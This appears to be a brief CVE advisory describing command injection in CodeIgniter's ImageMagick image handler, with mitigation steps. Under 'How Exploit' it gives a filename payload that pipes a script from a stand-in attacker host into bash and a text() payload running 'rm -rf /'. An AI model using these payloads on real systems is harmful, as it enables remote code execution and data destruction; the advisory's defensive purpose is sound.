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How the CVE Works
The vulnerability in CodeIgniter (versions < 4.6.2) arises when using ImageMagick (imagick) for image processing. Attackers exploit this via:
1. File Uploads: Malicious filenames with shell metacharacters execute arbitrary commands during resize().
2. Text Operations: User-controlled input in `text()` method triggers command injection.
The framework fails to sanitize these inputs, allowing shell execution under the web server’s context.
DailyCVE Form
Platform: CodeIgniter
Version: <4.6.2
Vulnerability: Command Injection
Severity: Critical
Date: 07/28/2025
Prediction: Patch expected by 08/15/2025
What Undercode Say
Check ImageMagick handler usage $config['image_library'] = 'imagick'; Safe alternative (GD) $config['image_library'] = 'gd'; Secure filename generation $newName = $uploadedFile->getRandomName(); $uploadedFile->move($path, $newName);
How Exploit
Malicious filename example
evil;curl http://attacker.com/x.sh | bash;.jpg
Exploiting text()
$image->text('$(rm -rf /)');
Protection from this CVE
- Upgrade to v4.6.2+.
- Use GD (
gd) instead of ImageMagick. - Sanitize user-controlled filenames/text.
Impact
- Remote code execution (RCE).
- Server compromise.
- Data exfiltration.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
